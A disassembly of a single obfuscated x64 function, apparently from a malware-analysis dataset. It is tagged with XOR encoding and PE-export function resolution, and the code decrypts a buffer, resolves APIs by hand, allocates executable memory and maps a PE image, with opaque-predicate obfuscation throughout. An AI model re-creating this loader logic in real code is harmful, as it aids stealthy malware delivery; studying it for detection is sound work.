Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov eax, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001092
test ecx, ecx
je 0x180001092
nop
jmp 0x180001090
mov al, byte [section..data]
cmp edx, 0xa
jl 0x1800010a1
test ecx, ecx
jne 0x1800010c3
mov byte [rsp + 0x3c], al
mov ebp, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rbp - 1]
imul ecx, ebp
and ecx, 1
cmp edx, 0xa
jl 0x1800010c9
test ecx, ecx
je 0x1800010c9
mov byte [rsp + 0x3c], al
jmp 0x1800010a1
mov al, byte [0x180004001]
cmp edx, 0xa
jl 0x1800010d8
test ecx, ecx
jne 0x1800010fa
mov byte [rsp + 0x3d], al
mov ebp, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rbp - 1]
imul ecx, ebp
and ecx, 1
cmp edx, 0xa
jl 0x180001100
test ecx, ecx
je 0x180001100
mov byte [rsp + 0x3d], al
jmp 0x1800010d8
mov al, byte [0x180004002]
cmp edx, 0xa
jl 0x180002432
test ecx, ecx
jne 0x180002454
jmp 0x180002432
cmp r15, rbx
je 0x180001153
mov ebp, ebx
and ebp, 0x3ff
movzx eax, byte [rbp + r12 + 4]
xor al, byte [rbx + r12 + 0x404]
xor al, 0xc
mov byte [rbx + r12 + 0x404], al
add rbx, 1
test r8b, r8b
jne 0x180001120
jmp 0x180002430
cmp ecx, 0xa
jl 0x180001160
test edx, edx
jne 0x180001380
lea r9, [r15 + r12]
add r9, 0x404
mov ebp, 3
lea r8, [rsp + 0x38]
mov rsi, r8
mov rdi, r9
nop dword [rax + rax]
movzx eax, byte [rdi]
cmp ecx, 0xa
jl 0x180001200
test edx, edx
jne 0x180001226
jmp 0x180001200
add rdi, 1
add rsi, 1
sub rbp, 1
jae 0x180001180
cmp dword [0x180020a74], 0xa
jl 0x180001392
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001392
and ebx, 1
cmp ecx, 0xa
jl 0x1800011e0
test ebx, ebx
jne 0x180001390
movzx eax, byte [r15 + r12 + 0x404]
cmp ecx, 0xa
jl 0x180001230
test ebx, ebx
jne 0x180001252
jmp 0x180001230
mov byte [rsi], al
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
and edx, 1
cmp ecx, 0xa
jl 0x1800011a0
test edx, edx
je 0x1800011a0
mov byte [rsi], al
jmp 0x180001200
mov byte [rsp + 0x38], al
mov ebp, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rbp - 1]
imul ecx, ebp
and ecx, 1
cmp edx, 0xa
jl 0x180001260
test ecx, ecx
je 0x180001260
mov byte [rsp + 0x38], al
jmp 0x180001230
movzx eax, byte [r15 + r12 + 0x405]
cmp edx, 0xa
jl 0x180001280
test ecx, ecx
jne 0x1800012a2
nop word cs:[rax + rax]
nop dword [rax]
mov byte [rsp + 0x39], al
mov ebp, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rbp - 1]
imul ecx, ebp
and ecx, 1
cmp edx, 0xa
jl 0x1800012b0
test ecx, ecx
je 0x1800012b0
mov byte [rsp + 0x39], al
jmp 0x180001280
movzx eax, byte [r15 + r12 + 0x406]
cmp edx, 0xa
jl 0x1800012d0
test ecx, ecx
jne 0x1800012f2
nop word cs:[rax + rax]
nop dword [rax]
mov byte [rsp + 0x3a], al
mov ebp, dword [0x180020a6c]
mov edx, dword [0x180020a70]
lea ecx, [rbp - 1]
imul ecx, ebp
and ecx, 1
cmp edx, 0xa
jl 0x180001300
test ecx, ecx
je 0x180001300
mov byte [rsp + 0x3a], al
jmp 0x1800012d0
movzx eax, byte [r15 + r12 + 0x407]
cmp edx, 0xa
jl 0x180001320
test ecx, ecx
jne 0x180001342
nop word cs:[rax + rax]
nop dword [rax]
mov byte [rsp + 0x3b], al
mov ebp, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rbp - 1]
imul edx, ebp
and edx, 1
cmp ecx, 0xa
jl 0x180001350
test edx, edx
je 0x180001350
mov byte [rsp + 0x3b], al
jmp 0x180001320
mov ebp, 3
mov rsi, r8
mov rdi, r9
cmp ecx, 0xa
jl 0x180001180
mov ebp, 3
mov rsi, r8
mov rdi, r9
test edx, edx
je 0x180001180
nop word [rax + rax]
jmp 0x180001380
jmp 0x180001390
add r9, 4
mov edi, dword [rsp + 0x38]
test rdi, rdi
je 0x1800014fa
xor eax, eax
cmp edi, 0x20
jb 0x1800014cc
lea rdx, [rdi - 1]
cmp rdx, 0x400
jae 0x1800014cc
lea rcx, [r15 + r12]
add rcx, 0x408
lea rdx, [rdi + r12]
add rdx, 4
cmp rcx, rdx
jae 0x1800013f8
lea rcx, [rdi + r15]
add rcx, r12
add rcx, 0x408
lea rdx, str.yMxAPqGfKJbMtWBzuHRFAEuwGGBnwGuzJLKiwmVCsDPWjhipoWYCsvmZPLYAeaaYDmWioyKkCUppiJBTEVXrHPkXGSCtCrPzwTxDJdyVVOHucDSMwZFwFjVjnQhxiRUSEUMoIxXZCEwvmHIzQlYgIAnBnxIGXaLqognVBbLpapVstirFKqBTueBUHsFBGTfJKFgQkZLLQBqbpoBJcEvXHcpDWJCcgKERdAWITXkiubbVaAPQmcqvwaYcAPGSdPHdUgyvuykzjIzqMqWDEnCBwuOkQfETpLblPscjswiiabnrwzGDubuwgEOxGnmPScoJPrbYahPdLMtOMmUwVLsUfRtnOyyEYgsSRmVYsPhlfICKzJcrQUVAkMpdAHnzEnYfSXLIdwgbrKBcmpMUnKFJYSesAqgZTiKTKWfqBevAgzHTLYyRSbjBgEGfYGkrgtYDOtnvrdEifOqeVxcOhnrXFmgTXWjdxVYjoAXMPhayqubsvweyGAUdeaEfAFsXEeoFYRdTrYsaRVSDhYeHqDMrUYwuIQdcahnvCqBDldJPFwvzgxqAdOvxCGPovLOkrnGbIkswqrRuhqyzGOvSnjVtRrLrHOXYywWZusiQnGYtOypSggsVMvtQKtCGmulmzEbpPlDPqhgStYoaPGtYnPBOQTyobqnDGBEcrYtmBYhWLdtLaQfSdoizbrytnoPVtzjKaqVREeIJgfGCqbyrqxhzUoVekLhUwbGxkKdwwtLqmehmAeOPGBWekyUbamlthGgQPHQlIfGxMHgRFIDcGtAPVgWUqcAFFjIuCtLhgvbPLFSimSOwSAbwJrtpMYDBFXEqPIxUPUTyQTGpSeIVneGEwGQAQbcQIddLKBmVXXzLYzwDZJqoqsfGjTnlaShxWedPydRXzWCnjjmgXxfAvpPiOraFqLHlqwwhLAGbeAyqtphQnypavXddjJHygdXDwYPyBOFTBsDhYRQnfoWlgbwYCzjdMVaRethavsoBWxxaLuYUUPudpTzPqkUfCypznoo
cmp rcx, rdx
jbe 0x1800013f8
xor eax, eax
jmp 0x1800014cc
mov eax, edi
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov ecx, edx
and ecx, 1
test rbp, rbp
je 0x180001490
lea rbx, [r15 + r12]
add rbx, 0x438
mov rbp, rcx
sub rbp, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [rbx + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rsi - 0x10]
movups xmm3, xmmword [rbx + rsi]
movups xmmword [rbx + rsi - 0x30], xmm2
movups xmmword [rbx + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r12 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rsi - 0x10], xmm0
movups xmmword [rbx + rsi], xmm1
add rsi, 0x40
add rbp, 2
jne 0x180001429
jmp 0x180001492
xor esi, esi
test rcx, rcx
je 0x1800014c7
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [r9 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r9 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r9 + rsi], xmm2
movups xmmword [r9 + rsi + 0x10], xmm0
cmp rax, rdi
je 0x1800014fa
lea rdx, [r15 + r12]
add rdx, 0x408
nop word [rax + rax]
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, rdi
jb 0x1800014e0
cmp dword [0x180020a7c], 0xa
jl 0x180001522
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001522
nop word cs:[rax + rax]
nop
jmp 0x180001520
add r15, 0x408
mov qword [rsp + 0x48], r9
movsxd rax, dword [0x180004440]
add rax, r12
add rax, 0x404
mov rsi, r9
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001550
mov r13, rsi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001560
mov qword [rsp + 0x50], rax
mov rbp, r13
nop word cs:[rax + rax]
nop dword [rax]
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001580
mov r14, rbp
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001590
mov rbx, r14
nop dword [rax]
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800015a0
mov rdi, rbx
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800015b0
mov rcx, rsi
call fcn.1800024d0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800015e2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001b50
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001611
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001b60
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x40], rsi
add r8, r9
mov ebp, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rbp, r9
add r10, r9
nop
mov esi, dword [rbp]
add rsi, r9
mov rdx, r13
nop dword [rax]
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x180001656
add rdx, 1
add rsi, 1
cmp cl, al
je 0x180001640
cmp cl, al
je 0x180001664
add rbp, 4
add r10, 2
jmp 0x180001630
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001696
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001b70
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800016c5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001b80
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
nop dword [rax + rax]
mov esi, dword [rdx]
add rsi, r10
mov rbp, r14
nop dword [rax + rax]
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x180001707
add rbp, 1
add rsi, 1
cmp al, bl
je 0x1800016f0
cmp al, bl
je 0x180001715
add rdx, 4
add rcx, 2
jmp 0x1800016e0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, qword [rsp + 0x40]
call fcn.1800024d0
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x18000176d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001b90
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000179b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ba0
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov r14, qword [rsp + 0x50]
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ebp, dword [rdx]
add rbp, rsi
xor edi, edi
nop word [rax + rax]
lea rax, [r15 + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x1800017ea
add rdi, 1
cmp al, bl
je 0x1800017d0
cmp al, bl
je 0x1800017f8
add rdx, 4
add rcx, 2
jmp 0x1800017c0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov edx, dword [r14 + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
mov r11, rax
mov edx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001c12
test eax, eax
je 0x180001c12
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rsp + 0x48]
mov rbp, rdx
jl 0x180001870
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbp, rdx
and ecx, 1
jne 0x180001bb0
nop
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001870
mov rbx, rbp
nop dword [rax]
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001880
mov r14, rbx
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001890
nop word [rax + rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800018a0
mov rdi, r14
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800018b0
mov r13, rdi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800018c0
mov rcx, rbp
call fcn.1800024d0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800018f4
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001bc0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001923
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001bd0
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x40], rsi
add r8, r9
mov eax, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rax, r9
add r10, r9
mov esi, dword [rax]
add rsi, r9
mov rbp, rbx
nop dword [rax + rax]
movzx edx, byte [rbp]
movzx ecx, byte [rsi]
test dl, dl
je 0x180001967
add rbp, 1
add rsi, 1
cmp dl, cl
je 0x180001950
cmp dl, cl
je 0x180001975
add rax, 4
add r10, 2
jmp 0x180001940
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov rdi, rax
cmp dword [0x180020a84], 0xa
jl 0x1800019a7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001be0
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800019d5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001bf0
add r8, rdi
mov edx, dword [rdi + rcx + 0x20]
mov esi, dword [rdi + rcx + 0x24]
add rdx, rdi
add rsi, rdi
nop word cs:[rax + rax]
mov ebp, dword [rdx]
add rbp, rdi
mov rbx, r14
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001a17
add rbx, 1
add rbp, 1
cmp al, cl
je 0x180001a00
cmp al, cl
je 0x180001a25
add rdx, 4
add rsi, 2
jmp 0x1800019f0
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call rdi
mov rcx, qword [rsp + 0x50]
call fcn.1800024d0
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a7c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001c00
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001aaa
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001c10
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
nop dword [rax + rax]
mov ebp, dword [rdx]
add rbp, rsi
xor edi, edi
nop word [rax + rax]
lea rax, [r15 + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001aea
add rdi, 1
cmp al, bl
je 0x180001ad0
cmp al, bl
je 0x180001af8
add rdx, 4
add rcx, 2
jmp 0x180001ac0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + r12 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
cmp dword [0x180020a7c], 0xa
mov r9, qword [rsp + 0x48]
jl 0x18000152e
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000152e
jmp 0x180001520
jmp 0x180001b50
jmp 0x180001b60
jmp 0x180001b70
jmp 0x180001b80
jmp 0x180001b90
jmp 0x180001ba0
jmp 0x180001bb0
jmp 0x180001bc0
jmp 0x180001bd0
jmp 0x180001be0
jmp 0x180001bf0
jmp 0x180001c00
jmp 0x180001c10
cmp ecx, 0xa
jl 0x180001c22
test eax, eax
je 0x180001c22
nop dword [rax + rax]
jmp 0x180001c20
lea r8, [r14 + 0x108]
xor r9d, r9d
movzx eax, word [r14 + 6]
cmp r9, rax
jae 0x180001dd2
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov eax, dword [0x180020a6c]
mov esi, dword [0x180020a70]
cmp esi, 0xa
jl 0x180001c66
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001db0
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp esi, 0xa
jl 0x180001c7c
test edx, edx
jne 0x180001dc0
mov ecx, dword [r10 + 4]
test rcx, rcx
je 0x180001ce2
mov ebx, dword [r10]
add rbx, r11
mov eax, dword [r10 + 8]
lea rdi, [rax + r12]
add rdi, 0x404
xor ebp, ebp
cmp esi, 0xa
jge 0x180001cb1
jmp 0x180001cb5
add rbp, 1
cmp rcx, rbp
je 0x180001ce2
cmp esi, 0xa
jl 0x180001cb5
test edx, edx
jne 0x180001cda
movzx eax, byte [rdi + rbp]
mov byte [rbx + rbp], al
mov eax, dword [0x180020a6c]
mov esi, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp esi, 0xa
jl 0x180001ca3
test edx, edx
je 0x180001ca3
mov al, byte [rdi + rbp]
mov byte [rbx + rbp], al
jmp 0x180001cb5
mov edx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
cmp ecx, 0xa
jl 0x180001d8c
test ebp, ebp
je 0x180001d8c
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp esi, 0xa
jl 0x180001d1e
test edx, edx
jne 0x180001dd0
mov ecx, dword [r10 + 4]
test rcx, rcx
je 0x180001c52
mov eax, dword [r10 + 8]
mov ebx, dword [r10]
add rbx, r11
lea rdi, [rax + r12]
add rdi, 0x404
xor ebp, ebp
cmp esi, 0xa
jge 0x180001d5b
jmp 0x180001d5f
add rbp, 1
cmp rcx, rbp
je 0x180001c52
cmp esi, 0xa
jl 0x180001d5f
test edx, edx
jne 0x180001d84
movzx eax, byte [rdi + rbp]
mov byte [rbx + rbp], al
mov eax, dword [0x180020a6c]
mov esi, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp esi, 0xa
jl 0x180001d49
test edx, edx
je 0x180001d49
mov al, byte [rdi + rbp]
mov byte [rbx + rbp], al
jmp 0x180001d5f
add r9, 1
cmp ecx, 0xa
jl 0x180001c2c
test ebp, ebp
je 0x180001c2c
jmp 0x180001c20
jmp 0x180001db0
jmp 0x180001dc0
jmp 0x180001dd0
mov r12, r11
sub r11, qword [r14 + 0x30]
cmp ecx, 0xa
jl 0x180001deb
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
je 0x180001deb
jmp 0x180001de9
mov rbp, qword [rsp + 0x50]
mov ebp, dword [rbp + 0xb0]
add rbp, r12
movabs r8, 0x1fffffff8
cmp dword [rbp], 0
je 0x180001fc7
mov ebx, dword [rbp + 4]
cmp rbx, 8
jb 0x180001f93
cmp ecx, 0xa
jl 0x180001e2e
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x180001fc1
add rbx, r8
shr rbx, 1
mov r9d, ebx
xor r10d, r10d
cmp r10, r9
je 0x180001f93
movzx ebx, word [rbp + r10*2 + 8]
mov edi, ebx
shr edi, 0xc
mov esi, ebx
and esi, 0xfff
cmp ebx, 0xa000
jae 0x180001e89
cmp edi, 3
jne 0x180001f7f
mov rbx, r12
mov edi, esi
cmp ecx, 0xa
jl 0x180001f48
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180001f72
jmp 0x180001f48
cmp edi, 0xa
jne 0x180001f7f
mov rbx, r12
mov ecx, dword [rbp]
add rsi, r12
add qword [rcx + rsi], r11
jmp 0x180001ea8
mov ecx, dword [rbp]
add qword [rsi + rcx], r11
mov edx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
cmp ecx, 0xa
jl 0x180001f7f
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001f7f
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ecx, 0xa
jl 0x180001efa
test edi, edi
je 0x180001efa
mov ecx, dword [rbp]
add qword [rsi + rcx], r11
mov edx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ecx, 0xa
jl 0x180001f03
test edi, edi
jne 0x180001f28
mov ecx, dword [rbp]
add qword [rsi + rcx], r11
cmp dword [0x180020a74], 0xa
jl 0x180001ea1
mov ecx, dword [0x180020a78]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001ea1
mov ecx, dword [rbp]
add qword [rsi + rcx], r11
jmp 0x180001f03
add r10, 1
cmp ecx, 0xa
jl 0x180001e3a
test edi, edi
je 0x180001e3a
jmp 0x180001fc1
mov ecx, dword [rbp]
lea rcx, [rbx + rcx*4]
add dword [rcx + rdi*4], r11d
mov edx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
cmp ecx, 0xa
jl 0x180001f7f
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
mov rbx, r12
je 0x180001f7f
mov ecx, dword [rbp]
lea rcx, [rbx + rcx*4]
add dword [rcx + rdi*4], r11d
jmp 0x180001f48
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
cmp ecx, 0xa
jl 0x180001f31
test edi, edi
je 0x180001f31
jmp 0x180001fc3
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
cmp ecx, 0xa
jl 0x180001fa5
test ebx, ebx
jne 0x180001fc5
mov edi, dword [rbp + 4]
add rbp, rdi
cmp ecx, 0xa
jl 0x180001e03
test ebx, ebx
je 0x180001e03
jmp 0x180001de9
jmp 0x180001fc1
jmp 0x180001fc3
jmp 0x180001fc5
cmp ecx, 0xa
jl 0x180001fd9
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001fd9
jmp 0x180001fd7
mov rcx, r12
lea rax, [r12 + 2]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x90]
add rax, r12
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov r14d, dword [rax + 0xc]
test r14, r14
je 0x1800023bb
add r14, r12
jmp 0x18000201f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r14
call rdx
mov rcx, qword [rsp + 0x40]
call fcn.1800024d0
mov rdx, rax
cmp dword [0x180020a84], 0xa
jl 0x18000204a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023ab
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002078
mov eax, dword [0x180020a90]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x1800023ad
add r8, rdx
mov ebp, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rbp, rdx
add rcx, rdx
mov edi, dword [rbp]
add rdi, rdx
mov rsi, r13
movzx ebx, byte [rsi]
movzx eax, byte [rdi]
test bl, bl
je 0x1800020a8
add rsi, 1
add rdi, 1
cmp bl, al
je 0x180002092
cmp bl, al
je 0x1800020b6
add rbp, 4
add rcx, 2
jmp 0x180002089
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r14
call rdx
mov r15, rax
mov eax, dword [0x180020a78]
mov ecx, dword [0x180020a74]
cmp ecx, 0xa
jl 0x180002187
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002187
mov rcx, qword [rsp + 0x40]
call fcn.1800024d0
mov rdx, rax
cmp dword [0x180020a84], 0xa
jl 0x180002117
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023af
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002145
mov eax, dword [0x180020a90]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x1800023b1
add r8, rdx
mov ebp, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rbp, rdx
add rcx, rdx
mov edi, dword [rbp]
add rdi, rdx
mov rsi, r13
movzx ebx, byte [rsi]
movzx eax, byte [rdi]
test bl, bl
je 0x180002175
add rsi, 1
add rdi, 1
cmp bl, al
je 0x18000215f
cmp bl, al
je 0x180002010
add rbp, 4
add rcx, 2
jmp 0x180002156
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx]
mov qword [rsp + 0x58], rdx
mov rdx, qword [r12 + rdx]
test rdx, rdx
je 0x180002388
mov rbp, r12
add qword [rsp + 0x58], r12
mov rbx, qword [rsp + 0x48]
mov r14d, dword [rbx + 0x10]
add r14, r12
jmp 0x1800021d4
mov rdx, qword [rsp + 0x58]
add rdx, 8
add r14, 8
mov qword [rsp + 0x58], rdx
mov rdx, qword [rdx]
test rdx, rdx
je 0x180002388
mov rbp, qword [rsp + 0x70]
add rbp, rdx
test rdx, rdx
movzx edx, dx
cmovns rdx, rbp
mov qword [rsp + 0x60], rdx
cmp ecx, 0xa
jl 0x1800021ff
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022d3
mov rcx, qword [rsp + 0x40]
call fcn.1800024d0
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x18000222a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023b3
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002258
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023b7
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov edi, dword [rdx]
add rdi, rsi
mov rbp, qword [rsp + 0x68]
movzx eax, byte [rbp]
movzx ebx, byte [rdi]
test al, al
je 0x18000228a
add rbp, 1
add rdi, 1
cmp al, bl
je 0x180002273
cmp al, bl
je 0x180002298
add rdx, 4
add rcx, 2
jmp 0x180002269
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r15
mov rdx, qword [rsp + 0x60]
call rsi
